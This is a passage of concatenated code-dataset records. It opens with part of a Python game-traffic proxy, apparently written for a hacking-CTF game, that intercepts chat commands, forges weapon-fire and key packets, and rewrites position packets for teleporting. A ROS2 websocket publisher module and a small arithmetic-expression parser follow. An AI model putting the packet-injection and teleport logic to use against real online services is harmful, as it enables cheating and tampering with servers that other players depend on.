RAW [\" + data.hex() + \"]\")\n\n\t\t\t\t\t\t# we used up the entirety of the data - start a new set.\n\t\t\t\t\t\tdata = b''\n\t\t\t\t\t\tdone = True\n\t\t\t\t\t\t\n\t\t\t\t\t\t# add the packet to the queue\n\t\t\t\t\t\tself.packetQueue.put(packet)\n\t\t\t\t\t\t\n\t\t\t\t\telse:\n\t\t\t\t\t\tif(length == 0):\n\t\t\t\t\t\t# some packets have a variable length (denoted 0 in Packet.packet_types[packettype] for that packet type) - let the packet figure this out for itself\t\n\n\t\t\t\t\t\t\ttry:\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif(self.isClient):\n\t\t\t\t\t\t\t\t\tif (packettype == pkt.Packet.PACKETTYPE_FIREWEAPON):\n\t\t\t\t\t\t\t\t\t\tpacket = pkt.PewPacket(data)\n\t\t\t\t\t\t\t\t\telif (packettype == pkt.Packet.PACKETTYPE_CHAT):\n\t\t\t\t\t\t\t\t\t\tpacket = pkt.ChatPacket(data)\n\t\t\t\t\t\t\t\t\telif (packettype == pkt.Packet.PACKETTYPE_EMPTY):\n\t\t\t\t\t\t\t\t\t\tpacket = pkt.EmptyPacket(data)\n\t\t\t\t\t\t\t\t\telif (packettype == pkt.Packet.PACKETTYPE_KEY):\n\t\t\t\t\t\t\t\t\t\tpacket = pkt.KeyPacket(data)\n\t\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t## server packets\n\t\t\t\t\t\t\t\t\tif ( packettype == pkt.Packet.PACKETTYPE_SERVER_MANIFEST):\n\t\t\t\t\t\t\t\t\t\tpacket = pkt.ServerManifestPacket(data)\n\t\t\t\t\t\t\t\t\telif ( packettype == pkt.Packet.PACKETTYPE_SERVER_EMPTY):\n\t\t\t\t\t\t\t\t\t\tpacket = pkt.ServerEmptyPacket(data)\n\t\t\t\t\t\t\t\t\telif ( packettype == pkt.Packet.PACKETTYPE_SERVER_CHAT):\n\t\t\t\t\t\t\t\t\t\tpacket = pkt.ServerChatPacket(data)\n\t\t\t\t\t\t\t\t\telif ( packettype == pkt.Packet.PACKETTYPE_SERVER_MOBILESTATUS):\n\t\t\t\t\t\t\t\t\t\tpacket = pkt.ServerMobileStatusPacket(data)\n\t\t\t\t\t\t\t\t\telif ( packettype == pkt.Packet.PACKETTYPE_SERVER_MOBILETRANSFORMSTATE):\n\t\t\t\t\t\t\t\t\t\tpacket = pkt.ServerMobileTransformStatePacket(data)\n\t\t\t\t\t\t\t\t\telif ( packettype == pkt.Packet.PACKETTYPE_SERVER_RECEIVEITEM):\n\t\t\t\t\t\t\t\t\t\tpacket = pkt.ServerReceiveItemPacket(data)\n\t\t\t\t\t\t\t\t\telif( packettype == pkt.Packet.PACKETTYPE_SERVER_PLAYERMANIFEST):\n\t\t\t\t\t\t\t\t\t\tpacket = pkt.ServerPlayerManifestPacket(data)\n\t\t\t\t\t\t\t\t\telif ( packettype == pkt.Packet.PACKETTYPE_SERVER_AREATRANSITION):\n\t\t\t\t\t\t\t\t\t\tpacket = pkt.ServerAreaTransitionPacket(data)\n\n\t\t\t\t\t\t\t\tif(packet == None):\n\t\t\t\t\t\t\t\t\t# there won't be any more - if the packet isn't a recognised type it'll return a length of False, and be caught above.\n\t\t\t\t\t\t\t\t\t# that is, assuming we put all the packet types in Packet.packet_types[] here\n\t\t\t\t\t\t\t\t\tlog.addAndPrint(self.name + \": Stub: Variable length packet type \" + packettype.decode('ascii') + \" is known, but handling code is not present.\")\n\n\t\t\t\t\t\t\texcept pkt.IncompletePacketException as e:\n\t\t\t\t\t\t\t\t# our packet decided that it wasn't complete, so couldn't be parsed; get more data!\n\t\t\t\t\t\t\t\tlog.addAndPrint(self.name + \": Incomplete packet; cycling for more data.\" + str(e))\n\t\t\t\t\t\t\t\tdone = True\t\t## GET MOAR\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t# get the packet to tell us how to log it, and do so\n\t\t\t\t\t\t\t\tif(self.packetlist[packettype][2]):\n\t\t\t\t\t\t\t\t\tlog.addAndPrint(packet.toLoggable())\n\n\t\t\t\t\t\t\t\t# add the packet to the queue\n\t\t\t\t\t\t\t\tif(packet != None):\n\t\t\t\t\t\t\t\t\tself.packetQueue.put(packet)\n\t\t\t\t\t\t\t\t\tpacketTotal += 1\n\n\t\t\t\t\t\t\t\t# The packet will give us back anything it didn't use after it calculated its own length.\n\t\t\t\t\t\t\t\tdata = packet.getRemainder()\n\t\t\t\t\t\t\t\tif(len(data) == 0):\n\t\t\t\t\t\t\t\t\t# if there was nothing less, clear our data (as it's all been packetised) and get more data \n\t\t\t\t\t\t\t\t\tdone = True\n\t\t\t\t\t\t\t\t\tdata = b''\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t# leave done as False in case there's more.\n\t\t\t\t\t\t\t\t\tpass\n\n\t\t\t\t\t\telif(len(data) >= length):\t\n\t\t\t\t\t\t\t# these are the constant length packets, with lengths defined in Packet.packet_types[packettype][1]\n\t\t\t\t\t\t\t# Check the options. The Packet object contains the key values - check the ones we care about.\n\t\t\t\t\t\t\tif(self.isClient):\n\t\t\t\t\t\t\t\tif (packettype == pkt.Packet.PACKETTYPE_POSITION):\n\t\t\t\t\t\t\t\t\tpacket = pkt.PosPacket(data)\n\t\t\t\t\t\t\t\telif (packettype == pkt.Packet.PACKETTYPE_WEAPONSWITCH):\n\t\t\t\t\t\t\t\t\tpacket = pkt.WpnSwitchPacket(data)\n\n\t\t\t\t\t\t\t\t## We should NEVER get these outside of expected circumstances that are trapped elsewhere\n\t\t\t\t\t\t\t\telif (packettype == pkt.Packet.PACKETTYPE_INITHASH):\t\n\t\t\t\t\t\t\t\t\tpacket = pkt.InitPacket(data)\n\t\t\t\t\t\t\t\t\tlog.addAndPrint(self.name + \" Problem? Received an InitPacket unexpectedly.\")\n\n\t\t\t\t\t\t\t\telif (packettype == pkt.Packet.PACKETTYPE_JUMP):\n\t\t\t\t\t\t\t\t\tpacket = pkt.JumpPacket(data)\n\t\t\t\t\t\t\t\telif (packettype == pkt.Packet.PACKETTYPE_ACTORINTERACT):\n\t\t\t\t\t\t\t\t\tpacket = pkt.ActorInteractPacket(data)\n\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t## server packets\n\t\t\t\t\t\t\t\tif (packettype == pkt.Packet.PACKETTYPE_SERVER_MONSTERUPDATE):\n\t\t\t\t\t\t\t\t\tpacket = pkt.ServerMonsterUpdatePacket(data)\n\t\t\t\t\t\t\t\telif (packettype == pkt.Packet.PACKETTYPE_SERVER_OTHERPLAYERSUPDATE):\n\t\t\t\t\t\t\t\t\tpacket = pkt.ServerOtherPlayersUpdatePacket(data)\n\t\t\t\t\t\t\t\telif (packettype == pkt.Packet.PACKETTYPE_SERVER_POSITION):\n\t\t\t\t\t\t\t\t\tpacket = pkt.ServerPosPacket(data)\n\t\t\t\t\t\t\t\telif (packettype == pkt.Packet.PACKETTYPE_SERVER_DESPAWN):\n\t\t\t\t\t\t\t\t\tpacket = pkt.ServerDespawnPacket(data)\n\t\t\t\t\t\t\t\telif (packettype == pkt.Packet.PACKETTYPE_SERVER_MANAUPDATE):\n\t\t\t\t\t\t\t\t\tpacket = pkt.ServerManaUpdatePacket(data)\n\t\t\t\t\t\t\t\telif (packettype == pkt.Packet.PACKETTYPE_SERVER_MOBILEHITPOINTSUPDATE):\n\t\t\t\t\t\t\t\t\tpacket = pkt.ServerMobileHitpointsUpdatePacket(data)\n\t\t\t\t\t\t\t\telif ( packettype == pkt.Packet.PACKETTYPE_SERVER_OTHERPLAYERSGONE):\n\t\t\t\t\t\t\t\t\tpacket = pkt.ServerOtherPlayersGonePacket(data)\n\t\t\t\t\t\t\t\t#elif ( packettype == pkt.Packet.PACKETTYPE_SERVER_TEST):\n\t\t\t\t\t\t\t\t#\tpacket = pkt.ServerTestPacket(data)\n\n\t\t\t\t\t\t\tif(packet == None):\n\t\t\t\t\t\t\t\t# again, that should be all of them\n\t\t\t\t\t\t\t\tlog.addAndPrint(self.name + \": Stub: Packet type \" + packettype.decode('ascii') + \" is known, but handling code is not present.\")\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t# add the packet to the queue\n\t\t\t\t\t\t\t\tself.packetQueue.put(packet)\n\t\t\t\t\t\t\t\tpacketTotal += 1\n\t\t\t\t\n\t\t\t\t\t\t\t# get the packet to tell us how to log it, and do so\n\t\t\t\t\t\t\tif(self.packetlist[packettype][2]):\n\t\t\t\t\t\t\t\tlog.addAndPrint(packet.toLoggable())\n\t\n\t\t\t\t\t\t\t# trim our packet out of data. If data was just our packet and nothing else, this should make it '', and we're done.\n\t\t\t\t\t\t\t# There may be more though, so loop around again and cut out more packets if we can.\n\t\t\t\t\t\t\tdata = data[length:]\n\t\t\t\t\t\t\tif(len(data) == 0):\n\t\t\t\t\t\t\t\tdone = True\n\t\t\t\t\t\t\t\tdata = b''\n\t\t\t\t\t\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t# packet is incomplete. Leave what we have in data and more will be concatenated onto it next time around.\n\t\t\t\t\t\t\t# we know what to expect for the remaining data though\n\t\t\t\t\t\t\tlog.addAndPrint(self.name + \": Incomplete packet received; buffering. Raw: [\" + data.hex() + \"]\")\n\t\t\t\t\t\t\tdone = True\n\t\t\t\t\t\t\tpass\t\t\n\n\t\t\texcept queue.Empty:\t\t\t\t\t\t# Nothing to process\n\t\t\t\t#time.sleep(0.1) \t\t# this sleep is probably too long\n\t\t\t\tcontinue\n\n\t\t# at this point, we've been told to die\t\n\t\tlog.add(self.name + \": packetiser thread dying.\")\n\t\t\t \n\t###########################################################################################################################################################################\n\t## Thread to take individual packets and analyse them according to rules we're interested in.\n\t###########################################################################################################################################################################\t\n\tdef analysePackets(self, log):\n\t\tlog.addAndPrint(self.name + \": Packet analyser thread started.\")\n\n\t\t# flags used by haxxxx\n\t\tself.whereami = False\t\t\t\t# client\n\t\tself.nearbynotify = False \t\t\t# server only needs this\n\t\tself.serverteleportpos = None\t\t# client\n\t\tself.rserverteleportpos = None # client\n\n\t\twhile(not self.die):\n\n\t\t\ttry:\n\t\t\t\tpacket = self.packetQueue.get(True, 1)\t\t# Get a WHOLE Packet object (blocks for 1s)\n\t\t\t\tsend = True\n\n\t\t\t\t## The Magic Happens Here\n\t\t\t\t## We can check what kind of packet we got, and do some work based on.\n\t\t\t\t## If, after doing some work, we want to prevent that packet being sent, then set send to False.\n\t\t\t\t## (useful when intercepting chat commands - we don't need to show other people we're cheating in chat ;))\n\n\t\t\t\t## lovely chat commands\n\t\t\t\tif(packet.packettype == pkt.Packet.PACKETTYPE_CHAT):\n\t\t\t\t\tif(packet.chat == \"/whereami\"):\n\t\t\t\t\t\tself.whereami = True\n\t\t\t\t\t\tsend = False\n\t\t\t\t\telif(packet.chat == \"/radar\"):\n\t\t\t\t\t\tself.parent.serverParser.nearbynotify = not self.parent.serverParser.nearbynotify\n\t\t\t\t\t\tlog.addAndPrint(self.name + \"Toggling radar to \" + str(self.parent.serverParser.nearbynotify))\n\t\t\t\t\t\tsend = False\n\t\t\t\t\telif(packet.chat == \"/psychicshopping\"):\n\t\t\t\t\t\tself.poke(\"7\")\n\t\t\t\t\t\tsend = False\n\t\t\t\t\telif(packet.chat[:7] == \"/pewpew\"):\t\t\t\t\t\t\n\t\t\t\t\t\tself.pew(packet.chat)\n\t\t\t\t\t\tsend = False\n\t\t\t\t\telif(packet.chat == \"/piratekey\"):\n\t\t\t\t\t\tlog.addAndPrint(\"Activating the pirate chest.\")\n\t\t\t\t\t\tself.chatback(\"[PROXY] Avast! Pirate shinies!\")\n\t\t\t\t\t\tkey = pkt.KeyPacket.PIRATEKEY\n\t\t\t\t\t\tpacket = pkt.KeyPacket(pkt.Packet.PACKETTYPE_KEY + struct.pack('= 5 and packet.chat[:5] == \"/poke\"):\n\t\t\t\t\t\tlog.addAndPrint(\"Giving [\" + packet.chat[6:] + \"] a good poke.\")\n\t\t\t\t\t\tself.poke(packet.chat[5:])\n\t\t\t\t\t\tsend = False\n\t\t\t\t\telif(len(packet.chat) >= 9 and packet.chat[:9] == \"/servertp\"):\n\t\t\t\t\t\tif(self.serverteleportpos == None):\n\t\t\t\t\t\t\tself.serverteleportpos = packet.chat[10:]\n\t\t\t\t\t\t\tlog.addAndPrint(self.name + \"Activating ServerTeleport; target is \" + self.serverteleportpos)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tself.serverteleportpos = None\n\t\t\t\t\t\t\tlog.addAndPrint(self.name + \"ServerTeleport disengaged; returning to client-reported position.\")\n\t\t\t\t\t\tsend = False\n\t\t\t\t\telif(len(packet.chat) >= 10 and packet.chat[:10] == \"/rservertp\"):\n\t\t\t\t\t\tif(self.rserverteleportpos == None):\n\t\t\t\t\t\t\tself.rserverteleportpos = packet.chat[11:]\n\t\t\t\t\t\t\tlog.addAndPrint(self.name + \"Activating RelativeServerTeleport; target is \" + self.rserverteleportpos)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tself.rserverteleportpos = None\n\t\t\t\t\t\t\tlog.addAndPrint(self.name + \"RelativeServerTeleport disengaged; returning to client-reported position.\")\n\t\t\t\t\t\n\t\t\t\t\t# Notification packets from the preload override - mirror these back, don't pass them on\n\t\t\t\t\telif(len(packet.chat) >= 7 and packet.chat[0:7] == \"[!CHAT]\"):\n\t\t\t\t\t\tself.chatback(packet.chat[7:])\n\t\t\t\t\t\tsend = False\n\n#\t\t\t\telif((packet.packettype == pkt.Packet.PACKETTYPE_POSITION) and self.whereami):\n#\t\t\t\t\tlog.add(self.name + \": Informing client of whereamthem. [whereami]\")\n#\t\t\t\t\tpos = \"[PROXY] Your position is \" + packet.position.toString()\n#\t\t\t\t\tself.chatback(pos)\n#\t\t\t\t\tself.whereami = False\n\t\t\t\t\n\t\t\t\telif(packet.packettype == pkt.Packet.PACKETTYPE_POSITION):\n\t\t\t\t\tif((packet.packettype == pkt.Packet.PACKETTYPE_POSITION) and (self.serverteleportpos != None)):\n\t\t\t\t\t\tpacket = self.serverteleport(packet)\n\t\t\t\t\n\t\t\t\t\tif((packet.packettype == pkt.Packet.PACKETTYPE_POSITION) and (self.rserverteleportpos != None)):\n\t\t\t\t\t\tpacket = self.relativeserverteleport(packet)\n\t\t\t\t\t\t\n\t\t\t\t\tif((packet.packettype == pkt.Packet.PACKETTYPE_POSITION) and self.whereami):\n\t\t\t\t\t\tlog.add(self.name + \": Informing client of whereamthem. [whereami]\")\n\t\t\t\t\t\tpos = \"[PROXY] Your position is \" + packet.position.toString()\n\t\t\t\t\t\tself.chatback(pos)\n\t\t\t\t\t\tself.whereami = False\n\n\t\t\t\t\tif(self.csvUsLog != None):\n\t\t\t\t\t\t#print(packet.position.toCSVable())\n\t\t\t\t\t\tself.csvUsLog.update(\"Player\", packet.position.toCSVable())\n\t\t\t\t\t\t#plogf = open(\"player.csv\", \"w\")\n\t\t\t\t\t\t#plogf(\"Player\" + \",\" + packet.position.toCSVable() + \"\\n\")\n\t\t\t\t\t\t#plogf.close()\n\t\t\t\t\t\n\t\t\t\t\tself.mostRecentPosition = packet\n\t\t\t\t\n\t\t\t\t# For monsters, check Map CSV update and nearby notify\n\t\t\t\t# if a monster is nearby...\n\t\t\t\telif(packet.packettype == pkt.Packet.PACKETTYPE_SERVER_MONSTERUPDATE):\n\t\t\t\t\tself.csvLog.update(str(packet.id), packet.position.toCSVable())\n\t\t\t\t\tif(self.nearbynotify):\n\t\t\t\t\t\tself.nearby()\n\n\t\t\t\t# For players, check Map CSV update and nearby notify\n\t\t\t\t# if a player is nearby...\n\t\t\t\telif(packet.packettype == pkt.Packet.PACKETTYPE_SERVER_OTHERPLAYERSUPDATE):\n\t\t\t\t\tself.csvPlayerLog.update(str(packet.id), packet.position.toCSVable())\n\t\t\t\t\tif(self.nearbynotify):\n\t\t\t\t\t\tself.nearby()\n\n\n\t\t\t\t# convert the packet back into a bytestream and throw it back\n\t\t\t\tif(send):\n\t\t\t\t\tself.completedPackets.put(packet.raw)\n\n\n\n\n\t\t\texcept queue.Empty:\t\t\t\t\t\t# Nothing to process\n\t\t\t\tpass\n\t\t\t\t#time.sleep(0.1) \t\t# this sleep is probably too long\n\n\t\t\t\n\t\t# at this point, we've been told to die\t\n\t\tlog.add(self.name + \": analyser thread dying.\")\n\t\t\n\t###########################################################################################################################################################################\n\t## Constructor. Takes a name (for logging purposes) and a log to write to. May optionally (= non-zero) take a port to log parse data to.\n\t###########################################################################################################################################################################\t\n\tdef __init__(self, name, log, useClientPacketList, parent, doCSV):\n\t\t\n\t\tself.dataStreamQueue = queue.Queue() # Our FIFO queue for raw data. We can split this into discrete packets.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t # We can't guarantee each chunk of data will be one packet - some assembly may be requried.\n\t\tself.packetQueue = queue.Queue() # Our FIFO queue for packets. Once we've split our data into packets, they go here, and we can extract them as we go.\n\t\tself.completedPackets = queue.Queue() # Our FIFO queue for outgoing packets. These have been reassembled by the parser into strings that we can spit out of a socket.\n\n\t\t#####################\n\t\t# Variables for haxxx\n\t\t#\n\t\tself.nearbycheckertime = time.time()\n\t\t#\n\t\t# mapping CSV logger; this will write out position information we add to it every second.\n\t\tif(doCSV):\n\t\t\tself.csvLog = logger.CSVMaker(\"monsters.csv\", True)\n\t\t\tself.csvPlayerLog = logger.CSVMaker(\"players.csv\", True)\n\t\t\tself.csvUsLog = None\n\t\telse:\n\t\t\tself.csvLog = None \n\t\t\tself.csvPlayerLog = None\n\t\t\tself.csvUsLog = logger.CSVMaker(\"player.csv\", False)\n\t\t\n\t\t# a pkt.PosPacket from our most recent position update\n\t\tself.mostRecentPosition = None\n\t\t#\n\t\t####################\t\t\n\n\t\t# logging stuff\n\t\tself.log = log\n\t\tself.name = name\n\n\t\t# Our parent object - useful if we want to inject packets to the opposite stream to us.\n\t\tself.parent = parent\n\t\n\t\t# client>>Server and server>>client connections use different packet lists.\t\n\t\tself.isClient = useClientPacketList\n\n\t\tif(useClientPacketList):\n\t\t\tself.packetlist = pkt.Packet.client_packet_types\n\t\telse:\n\t\t\tself.packetlist = pkt.Packet.server_packet_types\n\n\t\t# set to True when this thread needs to end (i.e. at program exit)\n\t\tself.die = False\n\n\t\t# start the thread that will read from the dataStreamQueue FIFO queue and break it up into packets.\n\t\tself.packetise_thread = threading.Thread(target=self.packetise, args=(self.log,))\n\t\tself.packetise_thread.start()\n\n\t\t# start the thread that will read from the packetQueue FIFO queue and look at each of the packets. This is where the good stuff will happen.\n\t\tself.analyse_thread = threading.Thread(target=self.analysePackets, args=(self.log,))\n\t\tself.analyse_thread.start()\n\n\tdef addRawData(self, data):\n\t\tself.dataStreamQueue.put(data)\n\n\tdef kill(self):\n\t\tself.die = True\n\t\tif(self.csvLog != None):\n\t\t\tself.csvLog.kill()\n\t\t\tself.csvPlayerLog.kill()\n\n\t## Non-blocking; may return None if there are no packets, or a single packet.\n\tdef getPacket(self):\n\t\ttry:\n\t\t\tpacket = self.completedPackets.get(False)\n\t\texcept queue.Empty:\n\t\t\treturn None\n\t\telse:\n\t\t\treturn packet\n\n####################################################################################################################################################################################\n## Any functions for specific hacks can go down here\n####################################################################################################################################################################################\n\t\n\t## Send a message to yourself\n\tdef chatback(self, message):\n\t\tlength = len(message).to_bytes(2, byteorder='little', signed=False)\n\t\tchatback_packet = pkt.Packet(pkt.Packet.PACKETTYPE_SERVER_CHAT + Parser.PLAYERID + length + message.encode('ascii'))\n\t\tself.parent.serverParser.addRawData(chatback_packet.raw)\n\n\t## Send a weapon fire packet for the ZeroCool weapon\n\t## Note that this will not work if you don't have the weapon - a good test case.\n\tdef pew(self, message):\n\t\t\n\t\tprint(str(len(message)) + \" \" + message[8:9])\n\t\tif(len(message) >= 9 and message[8:9] == \"f\"):\n\t\t\tpewpacket = pkt.PewPacket(pkt.Packet.PACKETTYPE_FIREWEAPON + b'\\x10\\x00' + \"GreatBallsOfFire\".encode('ascii') + self.mostRecentPosition.position.pack())\n\t\telse:\t\n\t\t\tpewpacket = pkt.PewPacket(pkt.Packet.PACKETTYPE_FIREWEAPON + b'\\x08\\x00' + \"ZeroCool\".encode('ascii') + self.mostRecentPosition.position.pack())\n\t\t\t\n\t\tself.parent.clientParser.addRawData(pewpacket.raw + self.mostRecentPosition.raw)\n\t\tself.log.addAndPrint(\"Weapon pew injected to server: [\" + pewpacket.raw.hex() + self.mostRecentPosition.raw.hex() + \"]\")\n\n\t# Periodically update number of mobs nearby\n\tdef nearby(self):\n\t\tif((time.time() - self.nearbycheckertime >= 5) and (self.csvLog.timeSinceLastPurge >= 1)):\n\t\t\tmobsnearby = \"[PROXY] \" + str(len(self.csvLog.csv)) + \" monsters, \" + str(len(self.csvPlayerLog.csv)) + \" players.\"\n\t\t\tself.chatback(mobsnearby)\n\t\t\tself.nearbycheckertime = time.time()\n\n\t# interact with an object\n\tdef poke(self, ident):\n\t\ttry:\n\t\t\tident=int(ident.encode('ascii'))\n\t\texcept ValueError as e:\n\t\t\tself.chatback(\"[PROXY] Invalid ID (Not an integer?)\")\n\t\t\treturn\n\t\ttry:\n\t\t\tident = struct.pack(' None:\n self.id = id\n self.topic = topic\n self._client = client\n\n # First check to see if the topic is already established\n topics_names_and_types = dict(client.node.get_topic_names_and_types())\n topic_type = topics_names_and_types.get(topic)\n\n # If it's not established and no type was specified, exception\n if msg_type is None and topic_type is None:\n raise TopicNotEstablishedException(topic)\n\n # topic_type is a list of types or None at this point; only one type is supported.\n if topic_type is not None:\n if len(topic_type) > 1:\n self.client.log_warn(f\"More than one topic type detected: {topic_type}\")\n topic_type = topic_type[0]\n\n # Load the message class, propagating any exceptions from bad msg types\n msg_class = ros_loader.get_message_class(msg_type)\n\n # Make sure the specified msg type and established msg type are same\n msg_type_string = msg_class_type_repr(msg_class)\n if topic_type is not None and topic_type != msg_type_string:\n raise TypeConflictException(topic, topic_type, msg_type_string)\n\n # Adding a lifespan solves the problem of late-joining subscribers\n # without the need of a custom message publisher implementation.\n publisher_qos = QoSProfile(\n depth=depth,\n durability=DurabilityPolicy.TRANSIENT_LOCAL,\n reliability=ReliabilityPolicy.RELIABLE\n )\n\n if durability is not None:\n publisher_qos.durability = durability\n\n if reliability is not None:\n publisher_qos.reliability = reliability\n\n self._msg_class = msg_class\n\n def create():\n self._handle = client.node.create_publisher(\n msg_class, topic, qos_profile=publisher_qos)\n client.run_in_main_loop(create)\n\n def publish(self, msg):\n self._client.run_in_main_loop(\n lambda: self._handle.publish(msg))\n\n def dispose(self):\n self._client.run_in_main_loop(\n lambda: self._client.node.destroy_publisher(self._handle))\n\n\nclass Publisher(Cap):\n def __init__(self, client):\n # Call superclass constructor\n Cap.__init__(self, client)\n\n # Register the operations that this capability provides\n client.register_operation(prot.Header.OP_CODE_ADVERTISE, self.advertise)\n client.register_operation(prot.Header.OP_CODE_UNADVERTISE, self.unadvertise)\n client.register_operation(prot.Header.OP_CODE_PUBLISH, self.publish)\n\n # Initialize class variables\n self._publishers = {}\n\n async def advertise(self, msg: ProtocolMessage):\n body : prot.Advertise = msg.body\n id = msg.id\n topic = body.topic\n msg_type = body.type\n reliability = body.qos.reliability\n durability = body.qos.durability\n queue_size = body.qos.depth\n\n if id not in self._publishers:\n self._publishers[id] = PublisherContext(self.client,\n id, topic, msg_type, queue_size, reliability, durability)\n self.client.log_info(f\"Created publisher for '{topic}'.\", id)\n else:\n self.client.log_warn(\n f\"Unable to advertise topic '{topic}', duplicate publisher id.\", id)\n\n async def unadvertise(self, msg: ProtocolMessage):\n id = msg.id\n if id in self._publishers:\n self._dispose_publihser(self._publishers[id])\n del self._publishers[id]\n else:\n self.client.log_warn(f\"Unable to unadvertise topic, unknown publisher id.\", id)\n\n async def publish(self, msg: ProtocolMessage):\n id = msg.id\n if id in self._publishers:\n m = msg.trailer\n self._publishers[id].publish(m)\n else:\n self.client.log_warn(f\"Unable to publish message, unknown publisher id.\", id)\n\n async def dispose(self):\n for pub in self._publishers.values():\n self._dispose_publihser(pub)\n self._publishers.clear()\n\n def _dispose_publihser(self, pub: PublisherContext):\n pub.dispose()\n self.client.log_info(f\"Destroyed publisher for '{pub.topic}'.\", pub.id)\n","repo_name":"ritju/ros2_websocket","sub_path":"src/ros2_websocket/ros2_websocket/caps/publisher.py","file_name":"publisher.py","file_ext":"py","file_size_in_byte":4962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20343865509","text":"'''\nCreated on 09.12.2015\n\n@author: Kati\n'''\n\n'''\nClass of Parser \n'''\nclass Parser:\n \n '''\n this is the main function that call recursivly all functions in this class\n in order to verify if the input is a valid expression or not\n @param: string\n '''\n def parse(self, string):\n if self._proveValidity(string) is False:\n print(\"The expression '\" + self._s + \"' is: \" +str(self._proveValidity(string)))\n else: \n print(\"The expression '\" + self._s + \"' is: \" + str(self._expression()))\n \n '''\n Returns if the whole expression is true or false\n @return: res\n '''\n def _expression(self):\n if self._s.count(\"+\") == 0 | self._s.count(\"-\") == 0:\n res = self._term()\n elif self._s.count(\"+\") > 0 or self._s.count(\"-\") > 0:\n res = self._term()\n while len(self._s) > 0 and self._s[0] == \"+\" or len(self._s) > 0 and self._s[0] == \"-\":\n self._s = self._s[1:]\n return res\n \n '''\n Returns if there is a valid term with true or false\n @return: res \n '''\n def _term(self):\n if self._s.count(\"*\") == 0 | self._s.count(\"/\") == 0:\n res = self._factor()\n elif self._s.count(\"*\") > 0 or self._s.count(\"/\") > 0:\n res = self._factor()\n while len(self._s) > 0 and self._s[0] == \"*\" or len(self._s) > 0 and self._s[0] == \"/\":\n self._s = self._s[1:]\n return res\n \n '''\n Returns if there is a valid factor and if it is a constant or a variable \n also it checks if the amount and order of brackets is true or false.\n @return: res\n '''\n def _factor(self):\n if self._s[0] != \"(\":\n if self._s[0] is \"0\" or self._s[0] is \"1\" or self._s[0] is \"2\" or self._s[0] is \"3\" or self._s[0] is \"4\" or self._s[0] is \"5\" or self._s[0] is \"6\" or self._s[0] is \"7\" or self._s[0] is \"8\" or self._s[0] is \"9\":\n res = self._constant()\n elif self._s[0] is \"x\" or self._s[0] is \"y\" or self._s[0] is \"z\":\n res = self._variable() \n elif self._s[0] == \"(\":\n self._s = self._s[1:]\n res = self._expression()\n if self._s[0] == \")\":\n self._s = self._s[1:]\n return res\n \n '''\n this method proves if there is a valid variable \n @return: res\n '''\n def _variable(self):\n res=False\n if self._s[0] is \"x\" or self._s[0] is \"y\" or self._s[0] is \"z\":\n res= True\n self._s = self._s[1:]\n return res\n \n '''\n this method proves if an digit exists\n @return: res\n '''\n def _constant(self):\n res = False\n if self._isDigit():\n while len(self._s) > 0 and self._isDigit():\n res= True\n self._s = self._s[1:]\n return res\n \n '''\n verifies the string if its a digit and returns true or false.\n @return: boolean\n '''\n def _isDigit(self):\n return str(self._s[0]).isdigit()\n \n '''\n verifies the right order of brackets and returns with true or false\n @return: integer\n '''\n def _bracketsOrder(self):\n brackets = 0\n for char in self._s:\n if brackets >= 0:\n if char == \"(\":\n brackets += 1\n if char == \")\":\n brackets -= 1\n return brackets >= 0\n \n '''\n verifies if there exists empty brackets \n @return: res\n '''\n def _emptyBrackets(self):\n res = False\n for i in range(len(self._s)):\n if self._s[i] != None and str(self._s[i]) == \"(\" and str(self._s[i + 1]) == \")\":\n res = True\n return res\n \n\n '''\n verifies the entered elements if they are valid\n @return: res\n '''\n def _invalidElement(self):\n res = False\n for char in self._s:\n if not (self._isElementAllowed(char) or char == \"(\" or char == \")\" or char == \"+\" or char == \"-\" or char == \"*\" or char == \"/\" or char == \"x\" or char == \"y\" or char == \"z\"):\n res = True\n return res\n \n '''\n verifies if the element is allowed in the parser\n @return: res\n '''\n def _isElementAllowed(self, input):\n res = False\n if input is \"x\" or input is \"y\" or input is \"z\" or input is \"0\" or input is \"1\" or input is \"2\" or input is \"3\" or input is \"4\" or input is \"5\" or input is \"6\" or input is \"7\" or input is \"8\" or input is \"9\":\n res = True\n else:\n res = False\n return res\n \n '''\n verifies if there is a valid element at the beginning of the expression\n @return: boolean value\n '''\n def _elementAtBeginning(self):\n return self._isElementAllowed(self._s[0])\n \n '''\n verifies if there is a valid element at the ending of the expression\n @return: boolean value \n '''\n def _elementAtEnd(self):\n return self._isElementAllowed(self._s[len(self._s) - 1])\n \n '''\n checks if a digit or a variable is before an operator like + , - , * and / \n @return: res\n '''\n def _isCharOperator(self):\n res = False\n for i in range(len(self._s) - 1):\n if i > 0 and ((str(self._s[i]) == \"+\" or str(self._s[i]) == \"-\" or str(self._s[i]) == \"*\" or str(self._s[i]) == \"/\") and (not (str(self._s[i + 1]) == \"(\" or self._isElementAllowed(self._s[i + 1]) ) or not (str(self._s[i - 1]) == \")\" or self._isElementAllowed(self._s[i - 1]) ))):\n res = True\n return res\n \n '''\n checks if a operator or a digit or a variable is before an bracket or after it ( )\n @return: res\n '''\n def _isCharBracket(self):\n res = False\n for i in range(len(self._s) - 1):\n if i > 0 and ((str(self._s[i]) == \"(\" and self._isElementAllowed(self._s[i - 1]) ) or (str(self._s[i]) == \")\" and self._isElementAllowed(self._s[i + 1]))):\n res = True\n return res\n \n '''\n catches all exceptions\n @return: res\n '''\n def _proveValidity(self, string):\n res = True\n string = str(string).replace(\" \", \"\")\n self._s = string\n if len(self._s) == 0:\n res = False\n elif self._s.count(\"(\") > 0 and not self._bracketsOrder():\n res = False \n elif not (self._s.count(\"(\") == self._s.count(\")\")):\n res = False\n elif self._emptyBrackets():\n res = False\n elif not self._elementAtBeginning() and not str(self._s[0]) == \"(\":\n res = False\n elif not self._elementAtEnd() and not str(self._s[len(self._s)-1]) == \")\":\n res = False\n elif self._invalidElement():\n res = False\n elif self._isCharOperator():\n res = False\n 